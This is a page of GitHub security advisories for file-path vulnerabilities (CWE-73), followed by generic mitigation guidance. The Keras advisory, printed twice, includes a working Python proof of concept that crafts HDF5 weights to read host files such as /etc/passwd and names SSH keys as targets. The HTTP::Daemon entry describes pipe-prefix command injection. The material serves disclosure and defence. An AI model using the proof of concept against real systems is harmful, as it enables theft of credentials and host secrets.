"id": "GHSA-3g7v-7vpf-gwmm",
"modified": "2026-08-21T03:31:22Z",
"published": "2026-08-21T03:31:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-76158"
},
{
"type": "WEB",
"url": "https://zuso.ai/advisory"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-3G9H-GC4R-R2PP
Vulnerability from github – Published: 2026-02-19 18:31 – Updated: 2026-02-19 18:31Dell Unisphere for PowerMax, version(s) 10.2, contain(s) an External Control of File Name or Path vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.
{
"affected": [],
"aliases": [
"CVE-2026-26361"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-02-19T09:16:25Z",
"severity": "MODERATE"
},
"details": "Dell Unisphere for PowerMax, version(s) 10.2, contain(s) an External Control of File Name or Path vulnerability. A low privileged attacker with remote access could potentially exploit this vulnerability, leading to Information disclosure.",
"id": "GHSA-3g9h-gc4r-r2pp",
"modified": "2026-02-19T18:31:53Z",
"published": "2026-02-19T18:31:53Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-26361"
},
{
"type": "WEB",
"url": "https://www.dell.com/support/kbdoc/en-us/000429268/dsa-2026-102-dell-unisphere-for-powermax-and-powermax-eem-security-update-for-multiple-vulnerabilities"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3H64-FX5V-2F3Q
Vulnerability from github – Published: 2025-12-12 06:31 – Updated: 2026-04-08 18:34The WP User Manager plugin for WordPress is vulnerable to Arbitrary File Deletion in all versions up to, and including, 2.9.12. This is due to insufficient validation of user-supplied file paths in the profile update functionality combined with improper handling of array inputs by PHP's filter_input() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server via the 'current_user_avatar' parameter in a two-stage attack which can make remote code execution possible. This only affects sites with the custom avatar setting enabled.
{
"affected": [],
"aliases": [
"CVE-2025-13320"
],
"database_specific": {
"cwe_ids": [
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-12T04:15:41Z",
"severity": "MODERATE"
},
"details": "The WP User Manager plugin for WordPress is vulnerable to Arbitrary File Deletion in all versions up to, and including, 2.9.12. This is due to insufficient validation of user-supplied file paths in the profile update functionality combined with improper handling of array inputs by PHP\u0027s filter_input() function. This makes it possible for authenticated attackers, with Subscriber-level access and above, to delete arbitrary files on the server via the \u0027current_user_avatar\u0027 parameter in a two-stage attack which can make remote code execution possible. This only affects sites with the custom avatar setting enabled.",
"id": "GHSA-3h64-fx5v-2f3q",
"modified": "2026-04-08T18:34:00Z",
"published": "2025-12-12T06:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13320"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-user-manager/tags/2.9.12/includes/forms/trait-wpum-account.php#L70"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-user-manager/tags/2.9.12/includes/forms/trait-wpum-account.php#L75"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-user-manager/tags/2.9.12/includes/forms/trait-wpum-account.php#L86"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-user-manager/trunk/includes/forms/trait-wpum-account.php#L70"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-user-manager/trunk/includes/forms/trait-wpum-account.php#L75"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/browser/wp-user-manager/trunk/includes/forms/trait-wpum-account.php#L86"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset/3420956/wp-user-manager/trunk/includes/forms/trait-wpum-account.php"
},
{
"type": "WEB",
"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/9d8304bf-bec2-4fcf-9fe2-46b626b3dae9?source=cve"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3HC6-3P33-WQ57
Vulnerability from github – Published: 2026-05-27 06:31 – Updated: 2026-07-07 12:31HTTP::Daemon versions before 6.17 for Perl allow OS command injection via send_file().
send_file() opens its string argument with Perl's 2-arg open(). The 2-arg form interprets magic prefixes: '| cmd' and 'cmd |' open a pipe to a subprocess, '> path' and '>> path' open the path for write or append.
Untrusted input passed to send_file() can run OS commands at the daemon process UID. The read-pipe form ('cmd |') also leaks subprocess stdout into the HTTP response body. The write-mode forms can create or truncate files at attacker chosen paths.
{
"affected": [],
"aliases": [
"CVE-2026-8450"
],
"database_specific": {
"cwe_ids": [
"CWE-73",
"CWE-78"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-05-27T05:16:23Z",
"severity": "CRITICAL"
},
"details": "HTTP::Daemon versions before 6.17 for Perl allow OS command injection via send_file().\n\nsend_file() opens its string argument with Perl\u0027s 2-arg open(). The 2-arg form interprets magic prefixes: \u0027| cmd\u0027 and \u0027cmd |\u0027 open a pipe to a subprocess, \u0027\u003e path\u0027 and \u0027\u003e\u003e path\u0027 open the path for write or append.\n\nUntrusted input passed to send_file() can run OS commands at the daemon process UID. The read-pipe form (\u0027cmd |\u0027) also leaks subprocess stdout into the HTTP response body. The write-mode forms can create or truncate files at attacker chosen paths.",
"id": "GHSA-3hc6-3p33-wq57",
"modified": "2026-07-07T12:31:29Z",
"published": "2026-05-27T06:31:34Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-8450"
},
{
"type": "WEB",
"url": "https://github.com/libwww-perl/HTTP-Daemon/pull/89"
},
{
"type": "WEB",
"url": "https://github.com/libwww-perl/HTTP-Daemon/commit/945d35141d94490f749640bd4390acd6a2193995.patch"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36187"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36188"
},
{
"type": "WEB",
"url": "https://access.redhat.com/errata/RHSA-2026:36189"
},
{
"type": "WEB",
"url": "https://access.redhat.com/security/cve/CVE-2026-8450"
},
{
"type": "WEB",
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=2481773"
},
{
"type": "WEB",
"url": "https://lists.debian.org/debian-lts-announce/2026/06/msg00028.html"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/OALDERS/HTTP-Daemon-6.17/changes"
},
{
"type": "WEB",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-8450.json"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/05/27/5"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-3HHQ-XM5H-WCVH
Vulnerability from github – Published: 2022-09-07 00:01 – Updated: 2025-03-21 18:31The Download Manager plugin for WordPress is vulnerable to arbitrary file deletion in versions up to, and including 3.2.50. This is due to insufficient file type and path validation on the deleteFiles() function found in the ~/Admin/Menu/Packages.php file that triggers upon download post deletion. This makes it possible for contributor level users and above to supply an arbitrary file path via the 'file[files]' parameter when creating a download post and once the user deletes the post the supplied arbitrary file will be deleted. This can be used by attackers to delete the /wp-config.php file which will reset the installation and make it possible for an attacker to achieve remote code execution on the server.
{
"affected": [],
"aliases": [
"CVE-2022-2431"
],
"database_specific": {
"cwe_ids": [
"CWE-610",
"CWE-73"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2022-09-06T18:15:00Z",
"severity": "HIGH"
},
"details": "The Download Manager plugin for WordPress is vulnerable to arbitrary file deletion in versions up to, and including 3.2.50. This is due to insufficient file type and path validation on the deleteFiles() function found in the ~/Admin/Menu/Packages.php file that triggers upon download post deletion. This makes it possible for contributor level users and above to supply an arbitrary file path via the \u0027file[files]\u0027 parameter when creating a download post and once the user deletes the post the supplied arbitrary file will be deleted. This can be used by attackers to delete the /wp-config.php file which will reset the installation and make it possible for an attacker to achieve remote code execution on the server.",
"id": "GHSA-3hhq-xm5h-wcvh",
"modified": "2025-03-21T18:31:19Z",
"published": "2022-09-07T00:01:52Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-2431"
},
{
"type": "WEB",
"url": "https://packetstormsecurity.com/files/167920/wpdownloadmanager3250-filedelete.txt"
},
{
"type": "WEB",
"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=\u0026sfph_mail=\u0026reponame=\u0026old=2762092%40download-manager\u0026new=2762092%40download-manager\u0026sfp_email=\u0026sfph_mail="
},
{
"type": "WEB",
"url": "https://www.wordfence.com/blog/2022/08/high-severity-vulnerability-patched-in-download-manager-plugin"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-3M4Q-JMJ6-R34Q
Vulnerability from github – Published: 2026-02-18 22:41 – Updated: 2026-02-18 22:41Summary
TensorFlow / Keras continues to honor HDF5 “external storage” and ExternalLink features when loading weights. A malicious .weights.h5 (or a .keras archive embedding such weights) can direct load_weights() to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras “safe mode” only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (tensorflow 2.20.0, keras 3.11.3, h5py 3.15.1, numpy 2.3.4).
Impact
- Class: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)
- What leaks: Contents of any readable file on the host (e.g.,
/etc/hosts,/etc/passwd,/etc/hostname). - Visibility: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.
- Prerequisites: Victim executes
model.load_weights()ortf.keras.models.load_model()on an attacker-supplied HDF5 weights file or.kerasarchive. - Scope: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.
Attacker Scenario
- Initial foothold: The attacker convinces a user (or CI automation) to consume a weight artifact—perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.
- Crafted payload: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g.,
/home/<user>/.ssh/id_rsa,/etc/shadowif readable, configuration files containing API keys, etc.). - Execution: The victim calls
model.load_weights()(ortf.keras.models.load_model()for.kerasarchives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors. - Exfiltration vectors:
- Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.
- Re-saving the model (weights or
.kerasarchive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry. - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.
Additional Preconditions
- The target file must exist and be readable by the process running TensorFlow/Keras.
- Safe mode (
load_model(..., safe_mode=True)) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization. - Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to
/etc/hostname) can reduce impact, but common defaults expose a broad set of host files.
Environment Used for Verification (2025‑10‑19)
- OS: Debian-based container running Python 3.11.
- Packages (installed via
python -m pip install -U ...): tensorflow==2.20.0keras==3.11.3h5py==3.15.1numpy==2.3.4- Tooling:
strace(for syscall tracing),pipupgraded to latest before installs. - Debug flags:
PYTHONFAULTHANDLER=1,TF_CPP_MIN_LOG_LEVEL=0during instrumentation to capture verbose logs if needed.
Reproduction Instructions (Weights-Only PoC)
- Ensure the environment above (or equivalent) is prepared.
- Save the following script as
weights_external_demo.py:
from __future__ import annotations
import os
from pathlib import Path
import numpy as np
import tensorflow as tf
import h5py
def choose_host_file() -> Path:
candidates = [
os.environ.get("KFLI_PATH"),
"/etc/machine-id",
"/etc/hostname",
"/proc/sys/kernel/hostname",
"/etc/passwd",
]
for candidate in candidates:
if not candidate:
continue
path = Path(candidate)
if path.exists() and path.is_file():
return path
raise FileNotFoundError("set KFLI_PATH to a readable file")
def build_model(units: int) -> tf.keras.Model:
model = tf.keras.Sequential([
tf.keras.layers.Input(shape=(1,), name="input"),
tf.keras.layers.Dense(units, activation=None, use_bias=True, name="dense"),
])
model(tf.zeros((1, 1))) # build weights
return model
def find_bias_dataset(h5file: h5py.File) -> str:
matches: list[str] = []
def visit(name: str, obj) -> None:
if isinstance(obj, h5py.Dataset) and name.endswith("bias:0"):
matches.append(name)
h5file.visititems(visit)
if not matches:
raise RuntimeError("bias dataset not found")
return matches[0]
def rewrite_bias_external(path: Path, host_file: Path) -> tuple[int, int]:
with h5py.File(path, "r+") as h5file:
bias_path = find_bias_dataset(h5file)
parent = h5file[str(Path(bias_path).parent)]
dset_name = Path(bias_path).name
del parent[dset_name]
max_bytes = 128
size = host_file.stat().st_size
nbytes = min(size, max_bytes)
nbytes = (nbytes // 4) * 4 or 32 # multiple of 4 for float32 packing
units = max(1, nbytes // 4)
parent.create_dataset(
dset_name,
shape=(units,),
dtype="float32",
external=[(host_file.as_posix(), 0, nbytes)],
)
return units, nbytes
def floats_to_ascii(arr: np.ndarray) -> tuple[str, str]:
raw = np.ascontiguousarray(arr).view(np.uint8)
ascii_preview = bytes(b if 32 <= b < 127 else 46 for b in raw).decode("ascii", "ignore")
hex_preview = raw[:64].tobytes().hex()
return ascii_preview, hex_preview
def main() -> None:
host_file = choose_host_file()
model = build_model(units=32)
weights_path = Path("weights_demo.h5")
model.save_weights(weights_path.as_posix())
units, nbytes = rewrite_bias_external(weights_path, host_file)
print("secret_text_source", host_file)
print("units", units, "bytes_mapped", nbytes)
model.load_weights(weights_path.as_posix())
output = model.predict(tf.zeros((1, 1)), verbose=0)[0]
ascii_preview, hex_preview = floats_to_ascii(output)
print("recovered_ascii", ascii_preview)
print("recovered_hex64", hex_preview)
saved = Path("weights_demo_resaved.h5")
model.save_weights(saved.as_posix())
print("resaved_weights", saved.as_posix())
if __name__ == "__main__":
main()
- Execute
python weights_external_demo.py. - Observe:
secret_text_sourceprints the chosen host file path.recovered_ascii/recovered_hex64display the file contents recovered via model inference.- A re-saved weights file contains the leaked bytes inside the artifact.
Expanded Validation (Multiple Attack Scenarios)
The following test harness generalises the attack for multiple HDF5 constructs:
- Build a minimal feed-forward model and baseline weights.
- Create three malicious variants:
- External storage dataset: dataset references
/etc/hosts. - External link:
ExternalLinkpointing at/etc/passwd. - Indirect link: external storage referencing a helper HDF5 that, in turn, refers to
/etc/hostname. - Run each scenario under
strace -f -e trace=open,openat,readwhile callingmodel.load_weights(...). - Post-process traces and weight tensors to show the exact bytes loaded.
Relevant syscall excerpts captured during the run:
openat(AT_FDCWD, "/etc/hosts", O_RDONLY|O_CLOEXEC) = 7
read(7, "127.0.0.1 localhost\n", 64) = 21
...
openat(AT_FDCWD, "/etc/passwd", O_RDONLY|O_CLOEXEC) = 9
read(9, "root:x:0:0:root:/root:/bin/bash\n", 64) = 32
...
openat(AT_FDCWD, "/etc/hostname", O_RDONLY|O_CLOEXEC) = 8
read(8, "example-host\n", 64) = 13
The corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.
Recommended Product Fix
- Default-deny external datasets/links:
- Inspect creation property lists (
get_external_count) before materialising tensors. - Resolve
SoftLink/ExternalLinktargets and block if they leave the HDF5 file. - Provide an escape hatch:
- Offer an explicit
allow_external_data=Trueflag or environment variable for advanced users who truly rely on HDF5 external storage. - Documentation:
- Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.
- Regression coverage:
- Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.
Workarounds
- Avoid loading untrusted HDF5 weight files.
- Pre-scan weight files using
h5pyto detect external datasets or links before invoking Keras loaders. - Prefer alternate formats (e.g., NumPy
.npz) that lack external reference capabilities when exchanging weights. - If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.
Timeline (UTC)
- 2025‑10‑18: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.
- 2025‑10‑19: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented
safe_keras_hdf5.pyprototype guard.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "3.13.0"
},
{
"fixed": "3.13.2"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "keras"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.12.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-1669"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-73"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-18T22:41:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\n\nTensorFlow / Keras continues to honor HDF5 \u201cexternal storage\u201d and `ExternalLink` features when loading weights. A malicious `.weights.h5` (or a `.keras` archive embedding such weights) can direct `load_weights()` to read from an arbitrary readable filesystem path. The bytes pulled from that path populate model tensors and become observable through inference or subsequent re-save operations. Keras \u201csafe mode\u201d only guards object deserialization and does not cover weight I/O, so this behaviour persists even with safe mode enabled. The issue is confirmed on the latest publicly released stack (`tensorflow 2.20.0`, `keras 3.11.3`, `h5py 3.15.1`, `numpy 2.3.4`).\n\n## Impact\n\n- **Class**: CWE-200 (Exposure of Sensitive Information), CWE-73 (External Control of File Name or Path)\n- **What leaks**: Contents of any readable file on the host (e.g., `/etc/hosts`, `/etc/passwd`, `/etc/hostname`).\n- **Visibility**: Secrets appear in model outputs (e.g., Dense layer bias) or get embedded into newly saved artifacts.\n- **Prerequisites**: Victim executes `model.load_weights()` or `tf.keras.models.load_model()` on an attacker-supplied HDF5 weights file or `.keras` archive.\n- **Scope**: Applies to modern Keras (3.x) and TensorFlow 2.x lines; legacy HDF5 paths remain susceptible.\n\n## Attacker Scenario\n\n1. **Initial foothold**: The attacker convinces a user (or CI automation) to consume a weight artifact\u2014perhaps by publishing a pre-trained model, contributing to an open-source repository, or attaching weights to a bug report.\n2. **Crafted payload**: The artifact bundles innocuous model metadata but rewrites one or more datasets to use HDF5 external storage or external links pointing at sensitive files on the victim host (e.g., `/home/\u003cuser\u003e/.ssh/id_rsa`, `/etc/shadow` if readable, configuration files containing API keys, etc.).\n3. **Execution**: The victim calls `model.load_weights()` (or `tf.keras.models.load_model()` for `.keras` archives). HDF5 follows the external references, opens the targeted host file, and streams its bytes into the model tensors.\n4. **Exfiltration vectors**:\n - Running inference on controlled inputs (e.g., zero vectors) yields outputs equal to the injected weights; the attacker or downstream consumer can read the leaked data.\n - Re-saving the model (weights or `.keras` archive) persists the secret into a new artifact, which may later be shared publicly or uploaded to a model registry.\n - If the victim pushes the re-saved artifact to source control or a package repository, the attacker retrieves the captured data without needing continued access to the victim environment.\n\n### Additional Preconditions\n\n- The target file must exist and be readable by the process running TensorFlow/Keras.\n- Safe mode (`load_model(..., safe_mode=True)`) does not mitigate the issue because the attack path is weight loading rather than object/lambda deserialization.\n- Environments with strict filesystem permissioning or sandboxing (e.g., container runtime blocking access to `/etc/hostname`) can reduce impact, but common defaults expose a broad set of host files.\n\n## Environment Used for Verification (2025\u201110\u201119)\n\n- OS: Debian-based container running Python 3.11.\n- Packages (installed via `python -m pip install -U ...`):\n - `tensorflow==2.20.0`\n - `keras==3.11.3`\n - `h5py==3.15.1`\n - `numpy==2.3.4`\n- Tooling: `strace` (for syscall tracing), `pip` upgraded to latest before installs.\n- Debug flags: `PYTHONFAULTHANDLER=1`, `TF_CPP_MIN_LOG_LEVEL=0` during instrumentation to capture verbose logs if needed.\n\n## Reproduction Instructions (Weights-Only PoC)\n\n1. Ensure the environment above (or equivalent) is prepared.\n2. Save the following script as `weights_external_demo.py`:\n\n```python\nfrom __future__ import annotations\nimport os\nfrom pathlib import Path\nimport numpy as np\nimport tensorflow as tf\nimport h5py\n\ndef choose_host_file() -\u003e Path:\n candidates = [\n os.environ.get(\"KFLI_PATH\"),\n \"/etc/machine-id\",\n \"/etc/hostname\",\n \"/proc/sys/kernel/hostname\",\n \"/etc/passwd\",\n ]\n for candidate in candidates:\n if not candidate:\n continue\n path = Path(candidate)\n if path.exists() and path.is_file():\n return path\n raise FileNotFoundError(\"set KFLI_PATH to a readable file\")\n\ndef build_model(units: int) -\u003e tf.keras.Model:\n model = tf.keras.Sequential([\n tf.keras.layers.Input(shape=(1,), name=\"input\"),\n tf.keras.layers.Dense(units, activation=None, use_bias=True, name=\"dense\"),\n ])\n model(tf.zeros((1, 1))) # build weights\n return model\n\ndef find_bias_dataset(h5file: h5py.File) -\u003e str:\n matches: list[str] = []\n def visit(name: str, obj) -\u003e None:\n if isinstance(obj, h5py.Dataset) and name.endswith(\"bias:0\"):\n matches.append(name)\n h5file.visititems(visit)\n if not matches:\n raise RuntimeError(\"bias dataset not found\")\n return matches[0]\n\ndef rewrite_bias_external(path: Path, host_file: Path) -\u003e tuple[int, int]:\n with h5py.File(path, \"r+\") as h5file:\n bias_path = find_bias_dataset(h5file)\n parent = h5file[str(Path(bias_path).parent)]\n dset_name = Path(bias_path).name\n del parent[dset_name]\n max_bytes = 128\n size = host_file.stat().st_size\n nbytes = min(size, max_bytes)\n nbytes = (nbytes // 4) * 4 or 32 # multiple of 4 for float32 packing\n units = max(1, nbytes // 4)\n parent.create_dataset(\n dset_name,\n shape=(units,),\n dtype=\"float32\",\n external=[(host_file.as_posix(), 0, nbytes)],\n )\n return units, nbytes\n\ndef floats_to_ascii(arr: np.ndarray) -\u003e tuple[str, str]:\n raw = np.ascontiguousarray(arr).view(np.uint8)\n ascii_preview = bytes(b if 32 \u003c= b \u003c 127 else 46 for b in raw).decode(\"ascii\", \"ignore\")\n hex_preview = raw[:64].tobytes().hex()\n return ascii_preview, hex_preview\n\ndef main() -\u003e None:\n host_file = choose_host_file()\n model = build_model(units=32)\n\n weights_path = Path(\"weights_demo.h5\")\n model.save_weights(weights_path.as_posix())\n\n units, nbytes = rewrite_bias_external(weights_path, host_file)\n print(\"secret_text_source\", host_file)\n print(\"units\", units, \"bytes_mapped\", nbytes)\n\n model.load_weights(weights_path.as_posix())\n output = model.predict(tf.zeros((1, 1)), verbose=0)[0]\n ascii_preview, hex_preview = floats_to_ascii(output)\n print(\"recovered_ascii\", ascii_preview)\n print(\"recovered_hex64\", hex_preview)\n\n saved = Path(\"weights_demo_resaved.h5\")\n model.save_weights(saved.as_posix())\n print(\"resaved_weights\", saved.as_posix())\n\nif __name__ == \"__main__\":\n main()\n```\n\n3. Execute `python weights_external_demo.py`.\n4. Observe:\n - `secret_text_source` prints the chosen host file path.\n - `recovered_ascii`/`recovered_hex64` display the file contents recovered via model inference.\n - A re-saved weights file contains the leaked bytes inside the artifact.\n\n## Expanded Validation (Multiple Attack Scenarios)\n\nThe following test harness generalises the attack for multiple HDF5 constructs:\n\n- Build a minimal feed-forward model and baseline weights.\n- Create three malicious variants:\n 1. **External storage dataset**: dataset references `/etc/hosts`.\n 2. **External link**: `ExternalLink` pointing at `/etc/passwd`.\n 3. **Indirect link**: external storage referencing a helper HDF5 that, in turn, refers to `/etc/hostname`.\n- Run each scenario under `strace -f -e trace=open,openat,read` while calling `model.load_weights(...)`.\n- Post-process traces and weight tensors to show the exact bytes loaded.\n\nRelevant syscall excerpts captured during the run:\n\n```\nopenat(AT_FDCWD, \"/etc/hosts\", O_RDONLY|O_CLOEXEC) = 7\nread(7, \"127.0.0.1 localhost\\n\", 64) = 21\n...\nopenat(AT_FDCWD, \"/etc/passwd\", O_RDONLY|O_CLOEXEC) = 9\nread(9, \"root:x:0:0:root:/root:/bin/bash\\n\", 64) = 32\n...\nopenat(AT_FDCWD, \"/etc/hostname\", O_RDONLY|O_CLOEXEC) = 8\nread(8, \"example-host\\n\", 64) = 13\n```\n\nThe corresponding model weight bytes (converted to ASCII) mirrored these file contents, confirming successful exfiltration in every case.\n\n## Recommended Product Fix\n\n1. **Default-deny external datasets/links**:\n - Inspect creation property lists (`get_external_count`) before materialising tensors.\n - Resolve `SoftLink` / `ExternalLink` targets and block if they leave the HDF5 file.\n2. **Provide an escape hatch**:\n - Offer an explicit `allow_external_data=True` flag or environment variable for advanced users who truly rely on HDF5 external storage.\n3. **Documentation**:\n - Update security guidance and API docs to clarify that weight loading bypasses safe mode and that external HDF5 references are rejected by default.\n4. **Regression coverage**:\n - Add automated tests mirroring the scenarios above to ensure future refactors do not reintroduce the issue.\n\n## Workarounds\n\n- Avoid loading untrusted HDF5 weight files.\n- Pre-scan weight files using `h5py` to detect external datasets or links before invoking Keras loaders.\n- Prefer alternate formats (e.g., NumPy `.npz`) that lack external reference capabilities when exchanging weights.\n- If isolation is unavoidable, run the load inside a sandboxed environment with limited filesystem access.\n\n## Timeline (UTC)\n\n- **2025\u201110\u201118**: Initial proof against TensorFlow 2.12.0 confirmed local file disclosure.\n- **2025\u201110\u201119**: Re-validated on TensorFlow 2.20.0 / Keras 3.11.3 with syscall tracing; produced weight artifacts and JSON summaries for each malicious scenario; implemented `safe_keras_hdf5.py` prototype guard.",
"id": "GHSA-3m4q-jmj6-r34q",
"modified": "2026-02-18T22:41:58Z",
"published": "2026-02-18T22:41:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/security/advisories/GHSA-3m4q-jmj6-r34q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-1669"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/pull/22057"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/commit/8a37f9dadd8e23fa4ee3f537eeb6413e75d12553"
},
{
"type": "PACKAGE",
"url": "https://github.com/keras-team/keras"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/releases/tag/v3.12.1"
},
{
"type": "WEB",
"url": "https://github.com/keras-team/keras/releases/tag/v3.13.2"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Keras has a Local File Disclosure via HDF5 External Storage During Keras Weight Loading"
}
Mitigation
When the set of filenames is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap provide this capability.
Mitigation
- Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict all access to files within a particular directory.
- Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection.
- This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise.
- Be careful to avoid CWE-243 and other weaknesses related to jails.
Mitigation
For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Mitigation MIT-5.1
Strategy: Input Validation
- Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
- When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
- Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright.
- When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434.
- Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would be removed from the original string, but the remaining characters would still form the "../" string.
Mitigation
Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59).
Mitigation
Use OS-level permissions and run as a low-privileged user to limit the scope of any successful attack.
Mitigation
If you are using PHP, configure your application so that it does not use register_globals. During implementation, develop your application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.
Mitigation
